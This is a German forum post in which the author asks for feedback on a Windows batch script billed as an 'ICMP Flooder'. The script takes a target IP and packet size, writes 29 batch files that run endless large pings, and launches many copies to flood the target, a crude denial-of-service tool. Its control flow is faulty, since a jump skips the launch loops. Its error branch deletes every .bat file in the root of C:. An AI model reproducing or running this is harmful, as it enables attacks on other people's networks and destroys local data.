ist zwar nicht vb aber ich würde mich freuen über ein feedback!!danke


@echo off
echo._______________________________________________________
echo.
echo. Simple Icmp-flooder
echo.
echo. _______________________________________________________
echo.
echo. ICMP Flooder v 1_0
echo.
echo. NET Code in batch.bat
echo.
echo. Author : NEMESIS
echo.
echo._______________________________________________________
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.Um zu Starten
pause
cls
echo.
echo.
echo.
echo. Bitte geben sie eine ip adresse ein !
echo. Maximal 32 Bit lang :
set /P A=
cls
echo.
echo.
echo.
echo.Bitte geben sie eine Packet Groesse an :
set /P B=
cls
if not exist %A%==[] goto:exit1
if not exist %B%==[] goto:exit1
cls
Rem "Benuetzt wird das Protokoll ICMP"
for /L %%g in (1,1,29) do Echo ping -t -l %B% %A% > c:\crashflood%%g.bat
if exist c:\crashflood1.bat goto:sub1
if not exist c:\crashflood1.bat goto:exit1
for /L %%p in (1,1,29) do call start "ICMP FLOODER BY NEMESIS" /min c:\crashflood%%p.bat
for /L %%a in (1,1,29) do call start "ICMP FLOODER BY NEMESIS" /min c:\crashflood%%a.bat
for /L %%s in (1,1,29) do call start "ICMP FLOODER BY NEMESIS" /min c:\crashflood%%s.bat
for /L %%f in (1,1,29) do call start "ICMP FLOODER BY NEMESIS" /min c:\crashflood%%f.bat
for %%k in (1,2,3,4) do call start "ICMP FLOODER BY NEMESIS" c:\crashflood%%k.bat
:sub1
echo msgbox"Der ICMP FLOODER hat erfolgreich gestartet ..." > c:\messagetrue.vbs
start c:\messagetrue.vbs
echo netstat -s 1 > c:\netstatk.bat
start c:\netstatk.bat
exit %0
:exit1
echo msgbox"Das Programm hat einen Fehler festgestellt ... und wird beendet !" > c:\messagefalse.vbs
start c:\messagefalse.vbs
set A=
set B=
for %%i in (c:\*.bat;c:\messagetrue.vbs) do erase %%i
exit %0